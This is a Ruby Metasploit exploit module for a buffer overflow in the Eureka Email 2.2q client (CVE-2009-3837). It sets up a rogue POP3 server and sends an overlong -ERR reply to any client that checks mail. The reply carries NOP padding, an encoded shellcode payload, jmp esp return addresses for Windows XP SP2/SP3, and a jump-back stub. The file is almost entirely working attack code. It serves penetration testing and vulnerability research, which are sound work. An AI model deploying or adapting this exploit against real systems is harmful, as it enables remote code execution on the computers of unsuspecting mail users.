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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow',
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        # bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
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        # overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
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        'Description' => %q{
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          This module exploits a buffer overflow in the Eureka Email 2.2q
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          client that is triggered through an excessively long ERR message.
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          NOTE: this exploit isn't very reliable. Unfortunately reaching the
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          vulnerable code can only be done when manually checking mail (Ctrl-M).
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          Checking at startup will not reach the code targeted here.
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        },
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        'Author' => [
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          'Francis Provencher (Protek Research Labs)',
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          'Dr_IDE',
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          'dookie',
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          'jduck'
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2009-3837' ],
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          [ 'OSVDB', '59262' ],
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          [ 'EDB', '10235' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 700,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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          'DisableNops' => true,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Win XP SP3 English',	{ 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
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          [ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
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        ],
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        'Privileged' => false,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2009-10-22',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
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      ]
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    )
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  end
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  def on_client_connect(client)
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    return unless regenerate_payload(client)
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    # the offset to eip depends on the local ip address string length...
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    already = "Your POP3 server had a problem.\n"
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    already << datastore['LHOST']
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    already << " said:\n\n    -ERR "
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    space = (512 + 256 + 4) - already.length
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    buffer = "-ERR "
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    buffer << make_nops(space - payload.encoded.length)
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    buffer << payload.encoded
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    buffer << [target.ret].pack('V')
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    buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
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    buffer << "\r\n"
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    print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
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    client.put(buffer)
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    handler
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    service.close_client(client)
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  end
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end
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